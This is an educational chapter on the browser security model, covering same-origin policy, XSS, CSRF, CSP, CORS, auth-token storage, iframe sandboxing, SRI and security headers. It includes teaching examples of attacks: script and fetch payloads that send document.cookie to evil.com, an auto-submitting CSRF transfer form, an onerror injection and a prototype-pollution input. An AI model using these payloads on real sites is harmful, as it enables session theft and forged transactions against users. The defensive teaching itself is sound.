FE-11 — Browser Security Model
Same-Origin Policy, XSS, CSRF, CSP, CORS, and Auth Token Architecture from First Principles
Part of The Production Frontend Engineer series. Prerequisites: FE-00 (browser internals, HTTP), FE-05 (caching, cookies, HTTP headers), FE-10 (JavaScript runtime, scope chain, execution model).
Opening
Every browser security rule you have ever followed without fully understanding — "sanitise user input," "use HttpOnly cookies," "set a CSP header," "validate CSRF tokens" — is a response to a specific physical attack that is possible because of how browsers work. The rules are not arbitrary compliance checkboxes. They are the minimum constraints necessary to make a world where untrusted JavaScript runs in the same process as your banking session even remotely survivable. After this chapter, you will not follow security rules. You will understand the attacks those rules prevent so precisely that you could derive the rules yourself. You will look at any new browser API, any new architectural decision, and immediately reason about what it opens up, what it closes off, and what the attacker's surface area is. This is the chapter that separates engineers who write secure code from engineers who write code they hope is secure.
Part 1: The Threat Model — Who the Browser Is Protecting You From
Start here, before any technical detail, because every browser security decision makes sense only in the context of what it is defending against.
You are on bank.com, logged in. Your browser has a session cookie for bank.com. You open a new tab and visit evil.com. The owner of evil.com wants to steal your money.
What can evil.com's JavaScript do? Without any browser security restrictions, it could: make HTTP requests to bank.com with your session cookie automatically attached, read the responses (your account balance, transaction history), perform actions (transfer funds), and read anything stored in bank.com's localStorage or cookies.
The fundamental constraint that makes the web usable and safe is that code from one origin must not be able to read data from another origin. Everything in browser security follows from enforcing this constraint, and understanding which specific capabilities create which specific attack vectors.
Notice the word "read." Not "request" — request. Browsers allow pages to make requests to other origins (your login page might POST to an API on a different subdomain). The constraint is on reading responses and accessing storage. That distinction is the reason CSRF is possible (requests go through automatically) while cross-origin data theft is harder (responses are blocked).
The other threat: code injected into your own page. If an attacker can get JavaScript to run on bank.com itself — not from evil.com but from within bank.com's own origin — all the same-origin protections are irrelevant. Injected code runs with the full privileges of the hosting origin. This is XSS and it is the most impactful class of web vulnerability.
These two threat vectors — cross-origin and injected code — are what every defence mechanism in this chapter is built to address.
Part 2: The Same-Origin Policy — The Foundation of Web Security
What "Origin" Physically Means
An origin is the combination of three things: protocol, hostname, and port. Two URLs have the same origin only if all three match exactly.
https://app.example.com:443/dashboard
│ │ │
│ │ └── port (443 is default for https, often omitted)
│ └── hostname
└── protocol
https://app.example.com:443/users ← SAME origin (path doesn't matter)
https://app.example.com/dashboard ← SAME origin (443 is default, implicit)
http://app.example.com/dashboard ← DIFFERENT origin (http vs https)
https://api.example.com/dashboard ← DIFFERENT origin (api vs app subdomain)
https://example.com/dashboard ← DIFFERENT origin (different hostname)
https://app.example.com:8080/ ← DIFFERENT origin (different port)
The path, query string, and fragment do not affect the origin. Only protocol, hostname, and port.
What the Same-Origin Policy Restricts
The SOP is not a single rule. It is a collection of restrictions that the browser enforces on cross-origin interactions. The restrictions apply at different levels of strictness depending on what is being accessed.
DOM access: JavaScript on page-a.example.com cannot read the DOM of an iframe containing page-b.example.com. It cannot access iframe.contentDocument, cannot read text from the iframe's content. The DOM is fully opaque across origins.
JavaScript-initiated network requests (XHR/fetch): JavaScript on origin-a can make a fetch request to origin-b. The request goes through. But JavaScript cannot read the response body, the response headers, or the status code. The response is received by the browser and silently discarded from JavaScript's perspective. This is why CORS exists — it is a mechanism for origin-b to tell the browser "this response is safe to reveal to origin-a's JavaScript."
Cookies: cookies are sent automatically with requests to the domain they belong to, regardless of which origin initiates the request. A page on evil.com can include an <img src="https://bank.com/transfer?to=attacker&amount=1000"> and the browser will make that GET request with the user's bank.com cookies attached. The SOP prevents evil.com from reading the response, but the request went through with authentication. This is the CSRF attack surface.
Storage: localStorage, sessionStorage, and IndexedDB are fully isolated per origin. evil.com cannot access bank.com's localStorage. IndexedDB on bank.com is inaccessible from any other origin.
What the SOP does NOT restrict: loading resources (scripts, images, stylesheets, fonts, iframes) from other origins. The browser fetches and uses them. It just does not give the hosting page's JavaScript read access to the fetched content. You can include a <script src="https://cdn.example.com/lib.js"> and it executes — but you cannot call fetch('https://cdn.example.com/lib.js').then(r => r.text()) and read its source code from a different origin.
Part 3: Cross-Site Scripting (XSS) — Injected Code Has Your Privileges
XSS is the attacker's ideal attack: getting their JavaScript to execute within your origin, which grants it all the same privileges your own code has. Session cookies that are not HttpOnly can be read. LocalStorage can be read. DOM can be read and modified. Requests can be made with the user's credentials. The SOP protects nothing because the injected code is already on the right origin.
The Physical Mechanism
The browser has one security model for JavaScript: code that executes in the context of an origin has full access to that origin's resources. There is no distinction between "this is the page's legitimate code" and "this is injected code." They run in the same JavaScript engine, the same execution context, the same global scope. When the browser parses HTML and finds a <script> tag, it executes whatever is inside it — no questions asked about whether the developer intended it to be there.
XSS happens when user-controlled data flows into an HTML context where it is interpreted as markup or JavaScript, rather than treated as inert text data.
Three Distinct XSS Types
Reflected XSS: the malicious payload is in the URL. A server takes a URL parameter and includes it in the HTML response without sanitising. The victim is tricked into visiting the crafted URL.
https://search.example.com/results?q=<script>document.location='https://evil.com/?c='+document.cookie</script>
The server renders: <p>Results for: <script>document.location=...</script></p>. The browser parses the <script> tag as JavaScript and executes it. The user's cookies are sent to evil.com.
Stored XSS: the payload is saved in the database and served to multiple victims. A forum post, a comment, a user profile name — any user-controlled content that is displayed to other users. The attacker submits <script>...</script> as their username. Every page that renders that username executes the script. More dangerous than reflected XSS because it is persistent and affects many users without any action from them beyond visiting the page.
DOM-based XSS: the vulnerability is entirely in client-side JavaScript — no server involvement. JavaScript takes URL fragment data, postMessage data, or other user-controlled input and puts it into the DOM via innerHTML, document.write(), or similar.
// Vulnerable: takes URL hash and puts it directly into DOM as HTML
document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1)
// URL: https://example.com/page#<img src=x onerror=stealCookies()>
// innerHTML parses the string as HTML, creates the img element, fires onerror
The Sink-Source Model
Every XSS vulnerability has a source (where attacker data enters the system) and a sink (where it is interpreted as code or markup). Sources: location.search, location.hash, document.referrer, window.name, postMessage data, form inputs, API responses containing user-generated content. Sinks: innerHTML, outerHTML, document.write(), eval(), setTimeout(string), setInterval(string), new Function(string), element.src, element.href (with javascript: scheme).
The vulnerability exists when there is a path from source to sink without sanitisation that neutralises the HTML/JavaScript interpretation.
The Defences
Output encoding is the primary defence. When inserting user data into HTML, treat it as text content, never as markup. The browser API for this is textContent, not innerHTML.
// Vulnerable
element.innerHTML = userInput
// Safe
element.textContent = userInput
// If you must build HTML from user data, encode it first
function escapeHtml(str) {
const div = document.createElement('div')
div.textContent = str
return div.innerHTML
// textContent assigns as plain text, innerHTML reads it back as escaped HTML
// '<script>' becomes '<script>' — inert text, not markup
}
textContent sets the content as a plain text node. The browser never tries to parse it as HTML. innerHTML parses the assigned string as HTML markup. The distinction is the entire difference between safe and vulnerable.
DOMPurify is the correct library when you legitimately need to render user-provided HTML (a rich text editor, markdown output). It parses the HTML, removes all dangerous elements and attributes, and returns safe HTML. Never roll your own sanitiser — the HTML parsing spec has hundreds of edge cases that trip up custom implementations.
import DOMPurify from 'dompurify'
// User submitted a rich text comment that may contain HTML
element.innerHTML = DOMPurify.sanitize(userContent)
// DOMPurify removes <script>, inline event handlers, javascript: URLs, etc.
Content Security Policy (Part 6) is the defence-in-depth layer that limits the damage if an XSS payload is injected. Even if the attacker's script runs, CSP can prevent it from exfiltrating data or loading external resources. But CSP is not a substitute for output encoding — it is a second line of defence.
The javascript: URL attack vector:
<!-- The href is user-controlled — attacker submits a javascript: URL -->
<a href="javascript:stealCookies()">Click me</a>
When a user clicks this link, the browser executes the JavaScript in the javascript: URL in the context of the current page. Validate that URLs are https:// before inserting them into href, src, or action attributes.
Part 4: Cross-Site Request Forgery (CSRF) — When the Browser Sends Your Credentials
CSRF exploits the browser's cookie-sending behaviour: cookies are automatically attached to any request to the domain they belong to, regardless of which origin made the request. This is by design — it is what makes "stay logged in" work across pages. But it means an attacker's page can trigger authenticated requests to your bank without needing to read any responses.
The Physical Attack
The attacker creates a page at evil.com:
<!-- Invisible form, auto-submitted on page load -->
<form method="POST" action="https://bank.com/transfer" id="csrf">
<input name="to" value="attacker-account">
<input name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit()</script>
When the victim visits evil.com while logged into bank.com, their browser submits the form to bank.com. The browser automatically attaches the bank.com session cookie. bank.com's server receives an authenticated POST request with the victim's credentials. The server has no way to distinguish this from a legitimate transfer request — both come with the same session cookie.
The SOP prevents evil.com from reading the response to this request. But the damage is done — the transfer executed. Reading the response is not necessary for this attack.
The Same-Site Cookie Attribute — The Modern Defence
The SameSite cookie attribute tells the browser when to send a cookie with cross-site requests.
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax
Set-Cookie: session=abc123; SameSite=None; Secure ← dangerous: cross-site allowed
SameSite=Strict: the cookie is never sent with any cross-site request — not navigations, not form submissions, not AJAX. Complete CSRF protection. Downside: if a user clicks a link to bank.com from evil.com (or from their email client, or from anywhere), they are not logged in — the cookie was not sent with the navigation.
SameSite=Lax: the cookie is sent with top-level navigations (clicking a link, typing in the address bar) but NOT with cross-origin sub-resource requests (AJAX, forms, iframes). Protects against CSRF form submissions and AJAX attacks. Does not protect against <img> or <script> src attacks that are GET requests.
SameSite=None: the cookie is sent with all cross-site requests. Required for legitimate cross-site use cases (embedded widgets, cross-origin APIs that need cookie auth). Must be paired with Secure (HTTPS only). This is the attack surface.
Modern browsers default to Lax when SameSite is not specified, which is why many legacy CSRF attacks no longer work without deliberate SameSite=None configuration.
The CSRF Token Pattern — Defence Before SameSite Existed
Before SameSite, the standard defence was a CSRF token — a secret value that the server embeds in forms, and the server requires back in the request. The attacker's page cannot read the secret value (SOP prevents reading the response) and therefore cannot include it in the forged request.
<!-- Server embeds a random token in every form -->
<form method="POST" action="/transfer">
<input type="hidden" name="csrf_token" value="a3f9b2c1...">
<input name="to" value="">
<input name="amount" value="">
</form>
The server verifies that the csrf_token in the POST body matches the token it issued for this session. A forged form from evil.com has no way to know the token — the SOP prevents reading bank.com's HTML.
CSRF tokens are still the correct defence for any endpoint that modifies state, regardless of SameSite. SameSite=Lax combined with a CSRF token is defence-in-depth.
The Origin and Referer Headers
The browser sends an Origin header on cross-origin requests and on same-origin non-safe requests (POST, PUT, DELETE). The server can check: does Origin match my expected domain? If not, reject the request.
POST /transfer HTTP/1.1
Origin: https://evil.com ← server checks this, rejects if not bank.com
Cookie: session=abc123
This is a lightweight CSRF defence but has edge cases — browsers do not always send Referer (privacy settings), and Origin is not sent for some navigation types. Do not rely on it as the sole defence. Use it as an additional check alongside CSRF tokens or SameSite.
Part 5: Where to Store Auth Tokens — The Security Architecture Decision
This is not a religious debate between "cookies vs localStorage." It is a precise tradeoff analysis based on which attacks each option is vulnerable to.
LocalStorage / SessionStorage
Accessible via localStorage.getItem('token') from any JavaScript on the same origin. This means: accessible to your application code, and also accessible to any injected script (XSS). If an attacker achieves XSS on your page, they can read the token from localStorage, exfiltrate it to their server, and impersonate the user from a different machine — indefinitely if it is a long-lived token, or until expiry if not.
The exfiltration is the critical word. A session cookie with HttpOnly cannot be exfiltrated via JavaScript — injected code cannot read it. An access token in localStorage can always be exfiltrated if XSS occurs. Once the token is on the attacker's server, the attacker has a credential that works from anywhere, not just from the victim's browser session.
Appropriate for: public-content JWTs with short expiry (15 minutes), tokens for non-sensitive operations, single-page applications where the token is only used during the current browser session and the XSS risk is genuinely low (strong CSP, no user-generated HTML).
HttpOnly Cookies
A cookie with the HttpOnly flag is completely inaccessible to JavaScript. document.cookie does not include it. HttpOnly cookies are handled entirely by the browser — sent automatically with matching requests, never readable by scripts.
This means XSS cannot steal the token. Even if an attacker executes JavaScript on your page, they cannot read document.cookie and find the session token. They can still perform actions using the user's session (make requests that the browser will attach the cookie to automatically) — but they cannot exfiltrate the credential itself for use elsewhere.
The cost: HttpOnly cookies are vulnerable to CSRF (the browser sends them automatically with cross-origin requests). Mitigated by SameSite=Strict or SameSite=Lax plus CSRF tokens.
The decision framework:
Threat: XSS stealing credential for use elsewhere (exfiltration)
Solution: HttpOnly cookie (JavaScript cannot read it)
Threat: CSRF (cross-origin requests with cookie auto-attached)
Solution: SameSite=Lax/Strict + CSRF token
Threat: Both XSS and CSRF
Solution: HttpOnly + SameSite=Lax + CSRF token + short expiry
The Dual-Token Pattern — What Serious Auth Systems Use
Access token (short-lived, 15 minutes): stored in memory (a JavaScript variable), never in localStorage, never in a cookie. Used for API calls. If stolen via XSS, expires quickly.
Refresh token (long-lived, 30 days): stored in an HttpOnly, Secure, SameSite=Strict cookie. Used only to get new access tokens from the auth server. JavaScript cannot read it. XSS cannot steal it.
User logs in
→ Server sets refresh token in HttpOnly cookie
→ Server returns access token in response body
→ Client stores access token in memory (JS variable)
API call:
→ Client attaches access token in Authorization header
→ Server validates the access token
→ No cookie involved in API call
Access token expires:
→ Client calls /refresh endpoint
→ Browser automatically sends HttpOnly refresh cookie
→ Server validates refresh token, issues new access token
→ Client stores new access token in memory
If XSS occurs: attacker can read the in-memory access token (but it expires in 15 minutes). Attacker cannot read the refresh cookie (HttpOnly). Cannot generate new access tokens. Damage is time-limited.
If CSRF occurs: attacker can trigger a request to /refresh with the refresh cookie. Server returns a new access token — but in the response body, which the SOP prevents the attacker from reading. The attacker gains nothing.
This pattern is the correct architecture for serious applications. It minimises the damage radius of both XSS and CSRF.
Part 6: Content Security Policy — The Browser Enforced Allowlist
Even with perfect output encoding, defence in depth demands a second layer. Content Security Policy is a server-sent HTTP header that tells the browser: "for pages served from this origin, you are only allowed to execute scripts from these sources, load images from these domains, connect to these hosts, and so on."
The browser enforces this policy. Even if an injected <script> tag reaches the HTML parser, the browser checks: does the CSP allow executing this script? If not, execution is blocked and a violation report is generated.
The Physical Enforcement Mechanism
CSP is implemented in the browser's resource loading pipeline and the JavaScript engine. Before executing a script, the browser checks three things:
Does the script have a nonce attribute that matches the server-generated nonce in the CSP header? Or does its source URL match an allowed domain in script-src? Or is 'unsafe-inline' allowed?
If none of these conditions are met, the browser blocks the script, logs a violation, and does not execute it. The script tag is in the DOM — but inert.
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123'; img-src 'self' https://cdn.example.com; connect-src 'self' https://api.example.com
Broken down:
default-src 'self': by default, resources can only come from the same originscript-src 'self' 'nonce-abc123': scripts must be from the same origin OR have the nonceabc123img-src 'self' https://cdn.example.com: images from same origin or this CDNconnect-src 'self' https://api.example.com:fetch/XHR only allowed to same origin or this API
Nonces — The Correct Inline Script Pattern
'unsafe-inline' in script-src allows all inline scripts — including injected ones. This entirely defeats CSP's XSS protection. Never use 'unsafe-inline' in a real CSP.
Nonces allow specific inline scripts while blocking all others. The server generates a cryptographically random nonce for each response and includes it in both the CSP header and each legitimate inline script tag.
<!-- Server generates: nonce = "r4nd0mV4lu3" for this response -->
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-r4nd0mV4lu3'">
<!-- Your legitimate inline script — has the nonce -->
<script nonce="r4nd0mV4lu3">
// This executes — nonce matches
initApp()
</script>
<!-- Injected attacker script — no nonce -->
<script>stealCookies()</script>
<!-- Blocked by browser — no matching nonce -->
The attacker cannot know the nonce — it is random and different on every response. Even if the attacker injects a <script> tag into the HTML, it has no nonce and is blocked.
Hash-Based CSP — For Static Inline Scripts
If you have inline scripts that never change (initialisation code, analytics snippets), you can use a hash instead of a nonce.
Content-Security-Policy: script-src 'sha256-abc123=='
The browser computes the SHA-256 hash of each inline script and checks it against the allowlist. Scripts whose hash matches are executed. All others blocked. This works for static content but not for dynamically generated inline scripts (which change per-response).
connect-src — Blocking Data Exfiltration
Even if an XSS payload executes, connect-src limits where it can send data. Without connect-src:
// Injected XSS payload
fetch('https://evil.com/steal?data=' + encodeURIComponent(document.cookie))
With connect-src 'self' https://api.yourdomain.com:
The browser blocks the fetch to evil.com. The cookie theft attempt fails. The attacker's script executed but could not exfiltrate anything.
frame-ancestors — Clickjacking Defence
Clickjacking: an attacker embeds your page in an invisible iframe on their site, positioned over a "Click here to win a prize!" button. The user thinks they are clicking the prize button but is clicking a button on your page (like "Confirm Transfer").
frame-ancestors controls which origins can embed your page in an iframe:
Content-Security-Policy: frame-ancestors 'none' ← nobody can iframe this page
Content-Security-Policy: frame-ancestors 'self' ← only same origin can iframe
Content-Security-Policy: frame-ancestors https://parent.example.com ← specific origin
X-Frame-Options: DENY is the older header that does the same thing. Both work; frame-ancestors is more expressive and the modern standard.
The Reporting Directive — Making CSP Observable
CSP violations are security events you want to know about. The report-uri or report-to directive sends a JSON report to your endpoint when a violation occurs.
Content-Security-Policy: default-src 'self'; report-uri /csp-violations
The browser POSTs a JSON payload to /csp-violations when a script is blocked, a resource fails to load, or a frame is blocked. This gives you visibility into attempted attacks and also catches legitimate resources you forgot to add to the allowlist.
Content-Security-Policy-Report-Only: the same policy but violations are reported without being enforced. Use this to test a new CSP before deploying it to production — you see what would be blocked without breaking anything.
Part 7: CORS — The SOP Opt-Out Mechanism
You saw CORS in FE-00 from a practical angle. You need it now from a security architecture angle — why it exists, what it actually permits, and where the security boundaries are.
Why CORS Exists
The SOP blocks JavaScript from reading cross-origin responses. This is correct as a default. But legitimate cross-origin data access exists — your app.example.com frontend needs to call api.example.com. Both are your infrastructure. The API should trust the frontend.
CORS is the mechanism for a server to say: "I trust JavaScript from these origins to read my responses." It is an explicit opt-out from the SOP's read restriction.
The Preflight Request — The Security Check
For requests that could have side effects (non-GET/HEAD/POST methods, or POST with non-simple content types, or custom headers), the browser sends a preflight OPTIONS request before the actual request.
OPTIONS /api/users HTTP/1.1
Origin: https://app.example.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: Authorization, Content-Type
"May I make a DELETE request with these headers from this origin?"
The server responds:
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, DELETE
Access-Control-Allow-Headers: Authorization, Content-Type
Access-Control-Max-Age: 86400
Only if the preflight succeeds does the browser make the actual DELETE request. If the server does not respond with appropriate CORS headers, the browser blocks the actual request before it is made.
The security property: the server explicitly lists which origins, methods, and headers it allows. A cross-origin request that the server did not explicitly permit cannot succeed in the browser. The SOP's read restriction is maintained for all non-permitted origins.
Simple Requests — What Bypasses the Preflight
Some requests do not trigger a preflight — the browser sends them directly:
- Methods: GET, HEAD, POST
- Content-Type:
application/x-www-form-urlencoded,multipart/form-data,text/plain - No custom headers
These are "simple requests." The browser makes them without a preflight, and the server's CORS headers on the response determine whether the response is readable by JavaScript. Even if the server has no CORS headers, the request is made — only the response reading is blocked.
This is why CSRF is possible: an HTML form submission is a simple request. The browser sends it without a preflight. The server processes it. The SOP only prevents the attacker's JavaScript from reading the response — not from triggering the action.
Access-Control-Allow-Credentials — The Cookie Crossover
By default, cross-origin requests do not include cookies. The CORS + credentials: 'include' combination allows cookies to be sent with cross-origin fetch requests.
fetch('https://api.example.com/user', {
credentials: 'include' // send cookies with this cross-origin request
})
Server must respond with:
Access-Control-Allow-Origin: https://app.example.com // must be specific, not wildcard
Access-Control-Allow-Credentials: true
The critical constraint: when Access-Control-Allow-Credentials: true, the Access-Control-Allow-Origin header cannot be * (wildcard). It must be a specific origin. This prevents a universal credential theft: an attacker's page cannot use credentials: 'include' and then read the response, because the server would only ever respond with Access-Control-Allow-Origin: https://attacker.com for the attacker's origin — and no server deliberately allows attacker origins with credentials.
Access-Control-Allow-Origin: * means "any origin can read this response" — but only for requests without credentials. Public APIs (weather data, public datasets) correctly use * because there are no credentials involved. Private APIs with user data must use specific origin lists.
Part 8: iframe Security — Sandboxing and Communication
Iframes are a unique security surface because they embed one origin's content inside another origin's page. The SOP applies: the outer page cannot access the inner iframe's DOM if they are cross-origin. But there are nuances.
The sandbox Attribute
An <iframe sandbox> attribute restricts what the embedded content can do, even if it is from the same origin.
<iframe src="untrusted-content.html" sandbox></iframe>
A fully sandboxed iframe: no JavaScript execution, no form submission, no popups, no navigation, no access to the parent page. The content is completely inert.
Restrictions can be selectively lifted:
<iframe
src="widget.html"
sandbox="allow-scripts allow-same-origin"
></iframe>
allow-scripts: the iframe can run JavaScript. allow-same-origin: the iframe is treated as same-origin for SOP purposes. Note: allow-scripts allow-same-origin together allow the iframe to remove its own sandbox attribute via JavaScript — a known escape. Use allow-scripts without allow-same-origin if you want scripts but not DOM access.
postMessage — The Safe Cross-Origin Communication Channel
When two different-origin frames need to communicate, window.postMessage() is the safe API. It sends a message as data (structured clone, not code) between windows, with explicit origin checking.
// Sender (parent page)
const iframe = document.querySelector('iframe')
iframe.contentWindow.postMessage(
{ type: 'USER_DATA', userId: '123' },
'https://widget.example.com' // target origin — only send to this origin
)
// Receiver (iframe)
window.addEventListener('message', (event) => {
// ALWAYS verify the origin
if (event.origin !== 'https://parent.example.com') return
if (event.data.type === 'USER_DATA') {
// process safely
}
})
The origin verification in the receiver is mandatory. Without it, any page that has a reference to the iframe's window (or the parent's window) can send messages. The event.origin check prevents unexpected message sources.
The data is serialised via the structured clone algorithm — it is data, not code. You cannot pass a function via postMessage. This is the security property that makes it safe: postMessage cannot be used to execute arbitrary code across origins.
Part 9: Subresource Integrity — Trusting Third-Party Scripts
When you load a script from a CDN — <script src="https://cdn.example.com/lib.js"> — you are trusting that CDN completely. If the CDN is compromised (it has happened), the attacker can modify the script to include malicious code, and your page will execute it with your origin's full privileges.
Subresource Integrity (SRI) adds a cryptographic hash to the <script> or <link> tag. Before executing the script, the browser computes the hash of the downloaded file and compares it to the declared hash. If they do not match, the browser refuses to execute the file.
<script
src="https://cdn.example.com/jquery-3.6.0.min.js"
integrity="sha256-oFRu+9V0WbfuQV3Blv9D6WS9OovMiZzAo9r8KyNLqM="
crossorigin="anonymous"
></script>
If the CDN serves a modified version of jQuery, the hash will not match and the script will not execute. The crossorigin="anonymous" attribute is required for SRI to work with cross-origin scripts — it enables the CORS fetch that lets the browser read the response headers.
SRI is particularly important for analytics scripts, JavaScript libraries, and any third-party code loaded directly from CDNs. For your own assets (hosted by you, content-hashed filenames from FE-03), SRI is not needed — the filename hash provides equivalent protection.
Part 10: Common Attack Patterns You Will See in Interviews and in Production
Prototype Pollution
JavaScript's prototype chain (FE-10) creates a specific attack surface: if an attacker can cause Object.prototype to be modified, every object in the application inherits the polluted properties.
// Vulnerable: merging user-controlled data into an object without protection
function merge(target, source) {
for (const key of Object.keys(source)) {
if (typeof source[key] === 'object') {
target[key] = merge(target[key] || {}, source[key])
} else {
target[key] = source[key]
}
}
return target
}
// Attacker sends: { "__proto__": { "isAdmin": true } }
// After merge, Object.prototype.isAdmin = true
// Every object in the application now has isAdmin: true
// Any check like if (user.isAdmin) passes for all users
The fix: check for __proto__, constructor, and prototype keys when merging user data, or use Object.create(null) for objects that should not inherit from Object.prototype, or use a library like lodash.merge that handles this correctly.
Open Redirects
A URL that takes a redirect destination from user input and redirects to it can be exploited to redirect users to malicious sites:
https://bank.com/login?redirect=https://evil.com/fake-bank
After login, the server redirects to the redirect parameter. The user sees bank.com in the address bar, logs in, and is sent to evil.com's phishing page.
Fix: validate that the redirect destination is a relative path (no domain) or matches an allowlist of trusted domains.
Clickjacking
Covered in Part 6 — use frame-ancestors 'none' or X-Frame-Options: DENY.
Supply Chain Attacks
The npm install attack surface: a malicious package or a compromised legitimate package executes in your build process or in users' browsers. Mitigation: lock dependency versions (package-lock.json, pnpm-lock.yaml), use npm audit, use SRI for CDN-loaded scripts, review what permissions packages request.
Part 11: The Security Headers Checklist — What Every Production App Must Send
A server that sends no security headers is a server that has opted out of every browser-side security mechanism. These headers cost nothing to add and prevent entire classes of attacks.
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Forces HTTPS for one year. Prevents SSL stripping attacks. preload submits your domain to browsers' built-in HSTS preload list.
X-Content-Type-Options: nosniff
Prevents the browser from guessing (sniffing) the content type of a response. Without this, a server that returns JavaScript with Content-Type: text/plain might still have the browser execute it in some contexts. nosniff enforces the declared content type.
X-Frame-Options: DENY
Prevents your pages from being embedded in iframes. Superseded by frame-ancestors in CSP but still worth sending for older browser compatibility.
Referrer-Policy: strict-origin-when-cross-origin
Controls what information is sent in the Referer header. strict-origin-when-cross-origin: send the full URL for same-origin requests, only the origin (no path) for cross-origin requests. Prevents sensitive path information (like /user/12345/medical-records) from being leaked to third-party analytics or embedded resources.
Permissions-Policy: camera=(), microphone=(), geolocation=()
Disables browser APIs that your application does not use. Even if an XSS payload runs, it cannot access the camera, microphone, or location. Limits the attack surface.
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{generated}'; ...
Covered in Part 6.
For a Next.js application, set these in next.config.ts:
const securityHeaders = [
{ key: 'X-Content-Type-Options', value: 'nosniff' },
{ key: 'X-Frame-Options', value: 'DENY' },
{ key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
{
key: 'Strict-Transport-Security',
value: 'max-age=31536000; includeSubDomains; preload'
},
{
key: 'Permissions-Policy',
value: 'camera=(), microphone=(), geolocation=()'
},
]
const nextConfig = {
async headers() {
return [
{
source: '/(.*)',
headers: securityHeaders,
},
]
},
}
Part 12: The Security Audit Workflow — How to Think About a New Feature
Every time you build a feature that handles user input, authentication, cross-origin communication, or third-party resources, run through this mental model:
1. What user-controlled data enters the system, and where does it go?
Trace the data from input to rendering. Does it end up in innerHTML? In a URL attribute? In an HTTP header? In a database that is later rendered to other users? Each of these is a potential XSS sink if the data is not correctly encoded for that context.
2. Does this endpoint modify state? If yes, is it CSRF-protected?
State-modifying endpoints (POST, PUT, DELETE) need CSRF protection if they accept cookie authentication. SameSite=Lax covers most cases. Add a CSRF token for defence in depth on critical actions (fund transfers, password changes, email changes).
3. Where are auth tokens stored and what is the exfiltration risk?
If tokens are in localStorage, XSS can steal them permanently. If they are in HttpOnly cookies, XSS cannot steal them but CSRF applies. Design token storage based on the actual threat model.
4. What origins need access to what, and does the CORS configuration reflect that precisely?
Access-Control-Allow-Origin: * on an endpoint that returns user data is a security misconfiguration. Map each endpoint to the origins that legitimately need access.
5. Is there a CSP on this page? Does it cover new inline scripts or third-party resources?
Adding a new analytics script or embedding a widget from a third party may need a CSP update. Adding an inline script without a nonce may be silently blocked.
6. What happens if the third-party resource you just added is compromised?
Add SRI for any script or stylesheet loaded from a CDN. Check the package's reputation and update history if it is an npm package running in the browser.
Vocabulary Map
| Term | What it physically is |
|---|---|
| Origin | The combination of protocol + hostname + port that identifies a security boundary in the browser — two pages have the same origin only if all three components match exactly |
| Same-Origin Policy (SOP) | The browser's default restriction preventing JavaScript from reading responses or accessing storage from a different origin — the foundational security constraint of the web |
| XSS (Cross-Site Scripting) | An attack where malicious JavaScript executes in the context of a victim's origin, gaining full access to that origin's resources — possible when user-controlled data reaches an HTML or JavaScript sink without proper encoding |
| Sink | A browser API or HTML context that interprets its input as executable code or markup — innerHTML, eval(), document.write(), href with javascript: scheme |
| Source | A location where attacker-controlled data enters the system — URL parameters, form inputs, postMessage data, API responses containing user-generated content |
| CSRF (Cross-Site Request Forgery) | An attack where a malicious page triggers authenticated requests to another origin by exploiting the browser's automatic cookie-sending behaviour — the request executes with the victim's credentials even though the attacker cannot read the response |
SameSite cookie attribute | A cookie flag that controls when the browser sends a cookie with cross-site requests — Strict (never cross-site), Lax (navigation only), None (always, requires Secure) |
HttpOnly cookie flag | A cookie flag that prevents JavaScript from reading the cookie via document.cookie — the browser sends the cookie automatically with matching requests but it is invisible to scripts, preventing XSS-based cookie theft |
| CSRF token | A secret random value the server embeds in forms and requires in state-modifying requests — attacker cannot forge requests because they cannot read the token from the server's HTML (SOP blocks cross-origin reads) |
| CORS (Cross-Origin Resource Sharing) | A mechanism for servers to opt out of the SOP's read restriction for specific origins — implemented via response headers (Access-Control-Allow-Origin) that tell the browser which origins may read the response |
| Preflight request | An OPTIONS HTTP request the browser sends before a non-simple cross-origin request to ask the server whether the actual request is permitted — prevents state-modifying cross-origin requests from executing without server consent |
| Content Security Policy (CSP) | An HTTP response header that tells the browser which sources of scripts, styles, images, and connections are trusted for this page — the browser enforces this policy, blocking resources from unlisted sources even if they are injected into the HTML |
| Nonce | A cryptographically random value generated per-response and included in both the CSP header and legitimate inline <script> tags — allows specific inline scripts while blocking all others including injected ones |
| Subresource Integrity (SRI) | A cryptographic hash in a <script> or <link> tag that the browser checks against the downloaded file before executing it — prevents execution of tampered third-party resources even if the CDN is compromised |
| Clickjacking | An attack where a malicious page embeds a victim page in a transparent iframe, tricking the user into clicking elements on the victim page — prevented by frame-ancestors CSP directive or X-Frame-Options header |
| Prototype pollution | An attack where user-controlled data causes properties to be added to Object.prototype, affecting all objects in the application — possible in vulnerable deep merge implementations that do not sanitise __proto__ keys |
postMessage | A browser API for safely sending data (not code) between different-origin windows and iframes — the structured clone algorithm ensures only serialisable data is transferred, and origin verification in the receiver prevents unexpected message sources |
sandbox attribute | An <iframe> attribute that restricts the embedded content's capabilities (scripts, forms, popups, same-origin access) — restrictions can be selectively lifted with specific allow-* values |
| HSTS (HTTP Strict Transport Security) | A response header that tells the browser to always use HTTPS for this domain for a specified duration — prevents SSL stripping attacks where an attacker downgrades the connection to HTTP |
X-Content-Type-Options: nosniff | A response header preventing the browser from guessing a resource's content type — enforces the declared Content-Type, preventing MIME-type confusion attacks where a text file is executed as JavaScript |
Practice Problems
Problem 1 — Failure Analysis
A developer builds a React comment system. Comments support basic formatting, so the developer renders them with dangerouslySetInnerHTML={{ __html: comment.content }}. To prevent XSS, they strip <script> tags on the server before saving: content.replace(/<script>/gi, ''). A security researcher finds an XSS vulnerability anyway. Identify at least three distinct payloads that bypass the <script> tag stripping, explain what HTML context each exploits, and describe the correct defence that would prevent all three. For each bypass, explain precisely what the browser does when it parses the payload — not just that "it executes JavaScript" but exactly which HTML parsing step creates the execution context.
Problem 2 — Design from Scratch
